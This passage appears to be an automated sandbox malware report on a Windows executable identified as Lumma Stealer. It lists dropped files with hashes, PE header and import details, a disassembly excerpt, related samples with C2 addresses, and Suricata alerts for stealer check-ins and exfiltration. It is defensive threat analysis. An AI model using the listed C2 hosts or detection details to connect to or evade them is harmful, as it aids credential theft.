	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	82.148.27.5
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	176.113.115_1.170.ps1	Get hash	malicious	XWorm	Browse	176.113.115.170
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	178.132.202.249
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	wRhEMj1swo.exe	Get hash	malicious	Unknown	Browse	104.21.80.1
	[UPD]Intel_Unit.2.1.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	socolo.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.80.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
37f463bf4616ecd445d4a1937da06e19	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	leBwnyHIgx.exe	Get hash	malicious	GhostRat	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.56.70
	1.exe	Get hash	malicious	LummaC, XRed	Browse	104.21.56.70
	9876567899.bat.exe	Get hash	malicious	Lokibot	Browse	104.21.56.70
	23567791246-764698008.02.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	c2.hta	Get hash	malicious	Remcos	Browse	104.21.56.70

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\92F8.tmp.exe	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_92F8.tmp.exe_34792d74c718cbac348cac967ecdc7b150b8ff_17e89f56_b1289dc2-7214-448c-ba19-751e15ccc2a2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0586882990325428
Encrypted:	false
SSDEEP:	192:hmHutl0TQsjOnLmjdoxxXazuiFc5Z24IO8sua:AutGTQsjOijMqzuiFc5Y4IO8f
MD5:	0D20F749F9F39043A41041410A8EC3E3
SHA1:	74A441235AF438EAE6D8E5E47171A1C3D5944E32
SHA-256:	EF3F221DF0C09B19B637776D1186C4E7319B9A5CD3734F7D7BEA8DF5BF37DDA9
SHA-512:	1F761E6B83233AEF9EEF3E4C4016952E52940E63DB43F237F5EB35A7EFD6F05AFB451204E14D2B337A191FFCD9051AE39A7E1A9AC8F5C9E2416483AA26A0FB4E
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.7.9.9.4.9.0.5.9.5.9.0.0.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.7.9.9.4.9.3.5.6.4.6.5.4.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.2.8.9.d.c.2.-.7.2.1.4.-.4.4.8.c.-.b.a.1.9.-.7.5.1.e.1.5.c.c.c.2.a.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.6.2.0.4.2.2.c.-.e.e.d.5.-.4.c.b.c.-.9.8.5.4.-.5.0.5.d.d.4.d.8.8.8.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.9.2.F.8...t.m.p...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.8.0.-.0.0.0.1.-.0.0.1.4.-.2.d.7.c.-.f.5.4.3.a.9.6.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.a.0.6.2.4.0.b.0.3.0.9.7.1.c.2.3.4.9.a.3.c.9.5.1.9.8.2.0.0.b.f.7.0.0.0.0.0.0.0.0.!.0.0.0.0.f.0.f.c.0.f.a.5.6.6.1.4.a.8.8.f.3.a.3.3.f.9.3.f.4.a.3.6.c.5.6.9.6.b.1.3.2.8.2.0.!.9.2.F.8...t.m.p...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.5./.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9DDB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Jan 8 08:44:51 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	448690
Entropy (8bit):	1.4983494695835085
Encrypted:	false
SSDEEP:	1536:IU8rsUN4ggI/ApyoucJRzgEmKwSRz/9UX5G3dytFQKyv2r:LKsUVgI/ApyfazgEmgz/9w5G3QtFQK3
MD5:	B71CBED7ED20C155AF1970F262A52FED
SHA1:	8BD7E28C1397E348D3F6E7D717E905FA7D3F5EC7
SHA-256:	74C6A3681D0C840CD1D608FD4FEBF3DAE48CF7BE11B77CFA89F0015847362124
SHA-512:	972DC1BB2A496D0893EFECEEEFCBE81CAA8C760E0BF105519FA7020F5D40833FF5D8AFFD16B71A90B8DCE826B53AFD9F8D22959136F57EB51BBA6F03280967C4
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........;~g.........................................#......$....N..........`.......8...........T...........pE..B............$..........l&..............................................................................eJ.......'......GenuineIntel............T...........{:~gZ............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA84C.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7015546165213715
Encrypted:	false
SSDEEP:	192:R6l7wVeJhl6I6SQ6YES6HrrgmfhPpr689bwnsfkQm:R6lXJj6I6d6YR6H3gmfhxwsfy
MD5:	015771A0EFB36DE08C3EDFCBDF7E1BE4
SHA1:	760E167EF5B11D5C71942B7F0DA79205ACB6B6CE
SHA-256:	B2F90A80BCB5FD226D8E9BBC95DF9E074E41EAE4AD4C150E87190CA5AF18DD97
SHA-512:	04A68B40F8C5B8AFD529F2034255E2F4FDCA19F63028CD54C3006B24EC9AE499DBD7304B0CA3C6DF8F0CBE01772B0329D0EE293B1B454756F4DD3F7AD1931EC5
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.0.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA8AB.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4723
Entropy (8bit):	4.478282373577177
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9ZOVWpW8VYRYm8M4JudlGF5+q8vPlFCtCSASRd:uIjfSI7nOk7VhJudoKPrC8SASRd
MD5:	7EC1E1A97FD04DFAAFA3A1A7E57E0BF3
SHA1:	BD4889114713CD74D6EAE2A9E1845431813593F5
SHA-256:	89054F2F3D1A57F26D389F5C4B9A8F7405B7A18C8E50040A29C35AF4FD049CD1
SHA-512:	ABA6AF2B4C1465BBC2069486FD9FB2BE1022961FAD9D9F4764B9B0986FC8641D67F8B1BB60E2F6337FB04D0C791881644C4AFBF2EBD8CD68D25A73DEE3493E69
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="666707" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\ScreenUpdateSync[1].exe

Download File

Process:	C:\Users\user\Desktop\chu4rWexSX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	4976128
Entropy (8bit):	5.83359645609294
Encrypted:	false
SSDEEP:	98304:TSJQ8bJVjvC2fnBurAKHDUZw+G3vTftvroIJv+rzP0RL+89MSFX5fcq8XwZ5zi:F2fnBurAKjUZGtvxp+rTBS55cq8Ae
MD5:	39ED277DE9297BF19DA7B0FA7EC41370
SHA1:	F0FC0FA56614A88F3A33F93F4A36C5696B132820
SHA-256:	6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65
SHA-512:	327C17C4F2A0D06D79530F24767BD331F7CF887A3835665747297A7828278EA0D6190CA5B37536AC7317DB825CF061E74E927EB2B06EBC60056D22DA64DCE1ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Joe Sandbox View:	Filename: xHj1N8ylIf.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=..w>...=..w8.n.=..w9...=..p>...=..p9...=..p8...=..w<...=...<...=.{p9...=.{p?...=.Rich..=.........................PE..L.....}g.................F..........."...........@...........................o..... .L...@...................................k.x.....m.._....................k..b..P.k.8...........................h.k.@.............k..............................textbss."..............................text.....F..."...F................. ..`.rdata...j....h..l....F.............@..@.data....?...Pk......H.............@....idata........k.......H.............@..@.msvcjmc......k.......H.............@....00cfg........k.......H.............@..@.fptable......k.......H.............@....reloc........k.......H.............@..B.rsrc...._....m..`....J.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Download File

Process:	C:\Users\user\Desktop\chu4rWexSX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4976128
Entropy (8bit):	5.83359645609294
Encrypted:	false
SSDEEP:	98304:TSJQ8bJVjvC2fnBurAKHDUZw+G3vTftvroIJv+rzP0RL+89MSFX5fcq8XwZ5zi:F2fnBurAKjUZGtvxp+rTBS55cq8Ae
MD5:	39ED277DE9297BF19DA7B0FA7EC41370
SHA1:	F0FC0FA56614A88F3A33F93F4A36C5696B132820
SHA-256:	6717D6B9AB52C8FE701EEA7DB42FE9829F26D7F66207C6E559500523312F1C65
SHA-512:	327C17C4F2A0D06D79530F24767BD331F7CF887A3835665747297A7828278EA0D6190CA5B37536AC7317DB825CF061E74E927EB2B06EBC60056D22DA64DCE1ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Joe Sandbox View:	Filename: xHj1N8ylIf.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........S...=...=...=..w>...=..w8.n.=..w9...=..p>...=..p9...=..p8...=..w<...=...<...=.{p9...=.{p?...=.Rich..=.........................PE..L.....}g.................F..........."...........@...........................o..... .L...@...................................k.x.....m.._....................k..b..P.k.8...........................h.k.@.............k..............................textbss."..............................text.....F..."...F................. ..`.rdata...j....h..l....F.............@..@.data....?...Pk......H.............@....idata........k.......H.............@..@.msvcjmc......k.......H.............@....00cfg........k.......H.............@..@.fptable......k.......H.............@....reloc........k.......H.............@..B.rsrc...._....m..`....J.............@..@................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416798548006926
Encrypted:	false
SSDEEP:	6144:Dcifpi6ceLPL9skLmb0m1SWSPtaJG8nAgex285i2MMhA20X4WABlGuNd5+:4i581SWIZBk2MM6AFBno
MD5:	6AFCCC29E2B9004778335D29C934BE28
SHA1:	8C95DE0206E7F0C346048E19BDE1858B038CE1BC
SHA-256:	831EA0436909D6250A8C424C909DF86F297F3C6FADE2D147BF8A1E47BCBF5B41
SHA-512:	7DC3DB718F12E664E948F08D66E9B11A6996A18A7D007BF0A65B92A431A7887B4B14C2F59C25F32F515201EB6BD29E5337F4B1D5CE0BA4783BA49FA95FE9459A
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..c..a................................................................................................................................................................................................................................................................................................................................................t.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.420080524910803
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	chu4rWexSX.exe
File size:	380'928 bytes
MD5:	d60499b26aaa1adfb80910660d8824e3
SHA1:	fe75a8409604359042389a383a0174bdd65198ca
SHA256:	8cc3a93a0f7df474a36abbbcce437adcfa0b2dc76de1914f1f5f7de47807546e
SHA512:	66b34c63f5499657af61dcb8738109a0c3428eefaac4b13c109faddabbb36b57dd726f1528952489b30eb99f67d492772efe720e1288bc7d7243ed9119904e18
SSDEEP:	6144:KLDVBhbmXU+UEiVb1BJ49ndr7o52FlmgYpQZg2uV0flL0/reQ:KvVLNE0rJoo52FlmZENVdar
TLSH:	A484011179C0D431C8969030C878D7B67A6DFC611A25AA8F77D83F2F6F702A2BA36355
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w.....S...S...S[Y.S...S.D.S...S.D.S...S.D.S...S...S...S...S...S.D.S...S.D.S...S.D.S...SRich...S................PE..L......d...

File Icon


Icon Hash:	46c7c30b0f4e0d19

Static PE Info

General

Entrypoint:	0x404271
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64DCC6CA [Wed Aug 16 12:53:30 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	11d173375b588fd71220163a95ab9292

Entrypoint Preview

Instruction
call 00007FDD0C898C89h
jmp 00007FDD0C895D1Eh
int3
int3
int3
int3
int3
call 00007FDD0C895EDCh
xchg cl, ch
jmp 00007FDD0C895EC4h
call 00007FDD0C895ED3h
fxch st(0), st(1)
jmp 00007FDD0C895EBBh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FDD0C895EB1h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FDD0C895EA6h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FDD0C895EA4h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FDD0C895EA7h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FDD0C898E4Fh
fstp st(0)
fld tbyte ptr [0044D57Ah]
ret
fstp st(0)
or cl, cl
je 00007FDD0C895EADh
fstp st(0)
fldpi
or ch, ch
je 00007FDD0C895EA4h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FDD0C895E99h
fchs
ret
fstp st(0)
jmp 00007FDD0C898E25h
fstp st(0)
mov cl, ch
jmp 00007FDD0C895EA2h
call 00007FDD0C895E6Eh
jmp 00007FDD0C898E30h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, FFFFFD30h

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4c4bc	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0xac70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d68	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x18c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4bdac	0x4be00	01332647150a931b02f6e067798a1726	False	0.9033991453871499	OpenPGP Public Key Version 4; Public Subkey	7.872477493248167	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4d000	0x9ec8	0x6000	cf0e12b3857247a8378388c506f3fbed	False	0.08048502604166667	Matlab v4 mat-file (little endian) n2, sparse, rows 0, columns 0	0.9443568571110326	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0xcc70	0xae00	5a98c0fd8426d61372bac51c26e3a7cc	False	0.545617816091954	data	5.556695796214439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x5d400	0x330	Device independent bitmap graphic, 48 x 96 x 1, image size 0			0.1948529411764706
RT_CURSOR	0x5d730	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.33223684210526316
RT_CURSOR	0x5d888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0x5e730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0x5efd8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0x5f570	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x60418	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x60cc0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_ICON	0x57510	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.8110341151385928
RT_ICON	0x583b8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.842057761732852
RT_ICON	0x58c60	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.8070276497695853
RT_ICON	0x59328	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.7933526011560693
RT_ICON	0x59890	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.804149377593361
RT_ICON	0x5be38	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.8313789868667918
RT_ICON	0x5cee0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.8652482269503546
RT_STRING	0x61470	0x4c4	data	Romanian	Romania	0.4532786885245902
RT_STRING	0x61938	0x338	data	Romanian	Romania	0.4696601941747573
RT_ACCELERATOR	0x5d3b0	0x50	data	Romanian	Romania	0.8125
RT_GROUP_CURSOR	0x5d860	0x22	data			1.0294117647058822
RT_GROUP_CURSOR	0x5f540	0x30	data			0.9375
RT_GROUP_CURSOR	0x61228	0x30	data			0.9375
RT_GROUP_ICON	0x5d348	0x68	data	Romanian	Romania	0.6826923076923077
RT_VERSION	0x61258	0x218	data			0.5223880597014925

Imports

DLL	Import
KERNEL32.dll	SetLocaleInfoA, EnumCalendarInfoA, InterlockedIncrement, InterlockedDecrement, GetCurrentProcess, WriteConsoleInputA, SetComputerNameW, GetModuleHandleW, EnumTimeFormatsW, LoadLibraryW, SetCommConfig, GetVersionExW, FindNextVolumeW, GetAtomNameW, FindNextVolumeMountPointW, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, LoadLibraryA, FindNextFileA, EnumDateFormatsA, FreeEnvironmentStringsW, OpenEventW, GetShortPathNameW, ReadConsoleInputW, TerminateJobObject, GetWindowsDirectoryW, GetCurrentProcessId, OpenFileMappingA, EnumCalendarInfoExA, EnumSystemLocalesW, SwitchToThread, CreateFileA, CloseHandle, GetStartupInfoW, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, Sleep, HeapSize, ExitProcess, HeapFree, SetFilePointer, WriteFile, GetModuleFileNameA, GetModuleFileNameW, GetEnvironmentStringsW, GetCommandLineW, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, HeapAlloc, HeapReAlloc, RaiseException, SetStdHandle, FlushFileBuffers, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, GetLocaleInfoA, GetStringTypeA, GetStringTypeW, LCMapStringA, LCMapStringW
USER32.dll	DdeQueryStringW, OemToCharA, GetWindowTextLengthA
SHELL32.dll	DragFinish

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T09:42:30.698608+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49702	104.21.56.70	443	TCP
2025-01-08T09:42:32.235709+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49703	176.113.115.19	80	TCP
2025-01-08T09:44:44.051103+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	58183	104.21.80.1	443	TCP
2025-01-08T09:44:44.535590+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	58183	104.21.80.1	443	TCP
2025-01-08T09:44:44.535590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58183	104.21.80.1	443	TCP
2025-01-08T09:44:45.182790+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	58184	104.21.80.1	443	TCP
2025-01-08T09:44:45.861589+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	58184	104.21.80.1	443	TCP
2025-01-08T09:44:45.861589+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	58184	104.21.80.1	443	TCP
2025-01-08T09:44:46.620586+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	58185	104.21.80.1	443	TCP
2025-01-08T09:44:47.164442+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	58185	104.21.80.1	443	TCP
2025-01-08T09:44:47.746287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	58186	104.21.80.1	443	TCP
2025-01-08T09:44:50.292627+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	58187	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 09:42:29.280910015 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:29.280962944 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:29.281042099 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:29.296411991 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:29.296436071 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:29.773667097 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:29.773822069 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:30.394756079 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:30.394773960 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:30.395153046 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:30.395211935 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:30.399739981 CET	49702	443	192.168.2.7	104.21.56.70
Jan 8, 2025 09:42:30.443336010 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:30.698673010 CET	443	49702	104.21.56.70	192.168.2.7
Jan 8, 2025 09:42:30.698764086 CET	49702	443	192.168.2.7	104.21.56.70
